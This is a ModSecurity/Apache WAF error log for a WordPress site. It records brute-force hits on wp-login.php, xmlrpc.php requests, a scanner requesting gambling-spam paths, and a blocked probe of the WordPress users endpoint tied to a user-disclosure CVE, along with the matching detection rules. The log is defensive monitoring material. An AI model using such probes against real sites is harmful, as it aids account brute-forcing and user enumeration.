[Thu Mar 26 11:47:07.599940 2026] [:error] [pid 31670:tid 31679] [client 85.203.15.53:30131] [client 85.203.15.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSsOzXVthXxCnWjOTS8fgAAAUc"]
[Thu Mar 26 11:47:07.609370 2026] [:error] [pid 31670:tid 31673] [client 81.199.26.101:34637] [client 81.199.26.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSsOzXVthXxCnWjOTS8fwAAAUE"]
[Thu Mar 26 12:00:07.303400 2026] [:error] [pid 31670:tid 31693] [client 85.203.15.78:23067] [client 85.203.15.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.78, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSvRzXVthXxCnWjOTTBcAAAAVU"]
[Thu Mar 26 12:00:07.311214 2026] [:error] [pid 31670:tid 31672] [client 85.203.15.49:56241] [client 85.203.15.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSvRzXVthXxCnWjOTTBcQAAAUA"]
[Thu Mar 26 12:15:01.992007 2026] [:error] [pid 31717:tid 31730] [client 85.203.15.56:20831] [client 85.203.15.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSyxb-SCF7YDISDX4-kwQAAAYg"]
[Thu Mar 26 12:15:02.003065 2026] [:error] [pid 31670:tid 31686] [client 81.199.26.105:43161] [client 81.199.26.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acSyxjXVthXxCnWjOTTIfQAAAU4"]
[Thu Mar 26 12:28:02.316234 2026] [:error] [pid 19818:tid 19835] [client 85.203.15.56:60149] [client 85.203.15.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS10szaSnm3d1BeM5UoCAAAAM8"]
[Thu Mar 26 12:28:02.367389 2026] [:error] [pid 19818:tid 19822] [client 85.203.15.70:43335] [client 85.203.15.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.70, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS10szaSnm3d1BeM5UoCQAAAMI"]
[Thu Mar 26 12:40:50.659010 2026] [:error] [pid 31778:tid 31793] [client 85.203.15.84:37753] [client 85.203.15.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS40g3kybI2o-xasmCdewAAAcA"]
[Thu Mar 26 12:40:50.663126 2026] [:error] [pid 31780:tid 31827] [client 85.203.15.81:22201] [client 85.203.15.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS40pJDwZsy5O4ZXEgi3QAAAgc"]
[Thu Mar 26 12:45:42.352054 2026] [:error] [pid 31670:tid 31689] [client 117.33.163.216:41876] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acS59jXVthXxCnWjOTTXOQAAAVE"]
[Thu Mar 26 12:53:36.512486 2026] [:error] [pid 31670:tid 31688] [client 85.203.15.90:38049] [client 85.203.15.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS70DXVthXxCnWjOTTcPwAAAVA"]
[Thu Mar 26 12:53:36.515851 2026] [:error] [pid 31780:tid 31824] [client 81.199.26.104:39733] [client 81.199.26.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS70JJDwZsy5O4ZXEgnXwAAAgQ"]
[Thu Mar 26 13:08:46.263605 2026] [:error] [pid 31717:tid 31734] [client 85.203.15.50:45529] [client 85.203.15.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS_Xr-SCF7YDISDX4-slgAAAYw"]
[Thu Mar 26 13:08:46.263817 2026] [:error] [pid 31780:tid 31826] [client 85.203.15.52:47893] [client 85.203.15.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acS_XpJDwZsy5O4ZXEgsVQAAAgY"]
[Thu Mar 26 13:14:53.487826 2026] [:error] [pid 19818:tid 19838] [client 43.156.228.27:60482] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acTAzczaSnm3d1BeM5VJjAAAANI"]
[Thu Mar 26 13:32:54.439373 2026] [:error] [pid 19818:tid 19841] [client 81.199.26.99:39653] [client 81.199.26.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTFBszaSnm3d1BeM5VTNgAAANU"]
[Thu Mar 26 13:32:54.440967 2026] [:error] [pid 19818:tid 19826] [client 85.203.15.52:55451] [client 85.203.15.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTFBszaSnm3d1BeM5VTNwAAAMY"]
[Thu Mar 26 13:47:08.245865 2026] [:error] [pid 31717:tid 31723] [client 81.199.26.91:60685] [client 81.199.26.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTIXL-SCF7YDISDX4-xlAAAAYE"]
[Thu Mar 26 13:47:08.248659 2026] [:error] [pid 31780:tid 31845] [client 85.203.15.95:25189] [client 85.203.15.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTIXJJDwZsy5O4ZXEg2gwAAAhg"]
[Thu Mar 26 13:59:50.761362 2026] [:error] [pid 19712:tid 19800] [client 85.203.15.79:59399] [client 85.203.15.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTLVtWhKhRNqm23vFMBHQAAAJg"]
[Thu Mar 26 13:59:50.764304 2026] [:error] [pid 31780:tid 31844] [client 81.199.26.91:50623] [client 81.199.26.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acTLVpJDwZsy5O4ZXEg7pwAAAhc"]
[Thu Mar 26 14:24:25.461995 2026] [:error] [pid 31780:tid 31845] [client 43.157.38.228:32948] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acTRGZJDwZsy5O4ZXEhECgAAAhg"]
[Thu Mar 26 14:53:37.519253 2026] [:error] [pid 19818:tid 19821] [client 54.37.252.59:60610] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acTX8czaSnm3d1BeM5WITwAAAME"]
[Thu Mar 26 14:53:39.460512 2026] [:error] [pid 19818:tid 19823] [client 54.37.252.59:44936] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acTX88zaSnm3d1BeM5WIVAAAAMM"]
[Thu Mar 26 14:53:41.441322 2026] [:error] [pid 31670:tid 31673] [client 54.37.252.59:44946] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acTX9TXVthXxCnWjOTQVWAAAAUE"]
[Thu Mar 26 14:53:43.436681 2026] [:error] [pid 19818:tid 19827] [client 54.37.252.59:44958] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acTX98zaSnm3d1BeM5WIXQAAAMc"]
[Thu Mar 26 14:53:45.432806 2026] [:error] [pid 19818:tid 19844] [client 54.37.252.59:57896] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acTX-czaSnm3d1BeM5WIZwAAANg"]
[Thu Mar 26 14:53:47.418489 2026] [:error] [pid 19818:tid 19838] [client 54.37.252.59:57904] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acTX-8zaSnm3d1BeM5WIdwAAANI"]
[Thu Mar 26 14:53:49.278707 2026] [:error] [pid 19818:tid 19820] [client 54.37.252.59:57908] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acTX_czaSnm3d1BeM5WIhAAAAMA"]
[Thu Mar 26 14:53:51.293025 2026] [:error] [pid 19818:tid 19828] [client 54.37.252.59:57920] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acTX_8zaSnm3d1BeM5WIjwAAAMg"]
[Thu Mar 26 14:53:53.336912 2026] [:error] [pid 19818:tid 19831] [client 54.37.252.59:57928] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acTYAczaSnm3d1BeM5WInQAAAMs"]
[Thu Mar 26 14:53:55.323037 2026] [:error] [pid 19818:tid 19833] [client 54.37.252.59:53468] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acTYA8zaSnm3d1BeM5WIrwAAAM0"]
[Thu Mar 26 14:53:57.327049 2026] [:error] [pid 31778:tid 31801] [client 54.37.252.59:53484] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acTYBQ3kybI2o-xasmDA2wAAAcg"]
[Thu Mar 26 14:53:59.202325 2026] [:error] [pid 19818:tid 19835] [client 54.37.252.59:53492] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acTYB8zaSnm3d1BeM5WIvAAAAM8"]
[Thu Mar 26 14:54:01.077722 2026] [:error] [pid 31780:tid 31824] [client 54.37.252.59:53498] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acTYCZJDwZsy5O4ZXEhQNQAAAgQ"]
[Thu Mar 26 14:54:03.082751 2026] [:error] [pid 31780:tid 31840] [client 54.37.252.59:53506] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acTYC5JDwZsy5O4ZXEhQPgAAAhM"]
[Thu Mar 26 14:54:04.993305 2026] [:error] [pid 60829:tid 60836] [client 54.37.252.59:60686] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acTYDPTdjHKeZokybaSOAgAAAQU"]
[Thu Mar 26 14:54:07.002414 2026] [:error] [pid 31670:tid 31680] [client 54.37.252.59:60688] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acTYDzXVthXxCnWjOTQVbgAAAUg"]
[Thu Mar 26 14:54:08.958901 2026] [:error] [pid 19712:tid 19787] [client 54.37.252.59:60700] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acTYENWhKhRNqm23vFMGPgAAAIs"]
[Thu Mar 26 14:54:10.875711 2026] [:error] [pid 60829:tid 60844] [client 54.37.252.59:60702] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acTYEvTdjHKeZokybaSOBAAAAQ0"]
[Thu Mar 26 14:54:12.762972 2026] [:error] [pid 31778:tid 31805] [client 54.37.252.59:60712] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acTYFA3kybI2o-xasmDA5wAAAcw"]
[Thu Mar 26 14:54:14.581910 2026] [:error] [pid 31778:tid 31796] [client 54.37.252.59:36650] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acTYFg3kybI2o-xasmDA8QAAAcM"]
[Thu Mar 26 14:54:16.618582 2026] [:error] [pid 19818:tid 19828] [client 54.37.252.59:36654] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acTYGMzaSnm3d1BeM5WI9wAAAMg"]
[Thu Mar 26 14:54:18.528453 2026] [:error] [pid 19818:tid 19828] [client 54.37.252.59:36668] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acTYGszaSnm3d1BeM5WJDAAAAMg"]
[Thu Mar 26 14:54:20.420664 2026] [:error] [pid 31780:tid 31823] [client 54.37.252.59:36682] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acTYHJJDwZsy5O4ZXEhQVAAAAgM"]
[Thu Mar 26 14:54:22.335158 2026] [:error] [pid 19818:tid 19821] [client 54.37.252.59:36686] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acTYHszaSnm3d1BeM5WJFwAAAME"]
[Thu Mar 26 14:54:24.364741 2026] [:error] [pid 19818:tid 19837] [client 54.37.252.59:48208] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acTYIMzaSnm3d1BeM5WJJQAAANE"]
[Thu Mar 26 14:54:26.293799 2026] [:error] [pid 19712:tid 19783] [client 54.37.252.59:48222] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acTYItWhKhRNqm23vFMGQQAAAIc"]
[Thu Mar 26 14:54:28.366666 2026] [:error] [pid 60829:tid 60844] [client 54.37.252.59:48236] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acTYJPTdjHKeZokybaSODAAAAQ0"]
[Thu Mar 26 14:54:30.390641 2026] [:error] [pid 19712:tid 19798] [client 54.37.252.59:48244] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acTYJtWhKhRNqm23vFMGQwAAAJY"]
[Thu Mar 26 14:54:32.429383 2026] [:error] [pid 31717:tid 31738] [client 54.37.252.59:48252] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acTYKL-SCF7YDISDX4-8_gAAAZA"]
[Thu Mar 26 18:33:03.362346 2026] [:error] [pid 19710:tid 19722] [client 179.126.55.145:61070] [client 179.126.55.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.126.55.145, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acULXwVEWP8Ar68Njk79RwAAAAA"]
[Thu Mar 26 18:36:02.400098 2026] [:error] [pid 31780:tid 31827] [client 36.69.117.196:58464] [client 36.69.117.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.69.117.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acUMEpJDwZsy5O4ZXEiVPAAAAgc"]
[Thu Mar 26 18:36:04.717579 2026] [:error] [pid 19711:tid 19751] [client 179.126.55.145:63670] [client 179.126.55.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acUMFGj3l1y81GYfluSPqgAAAEI"]
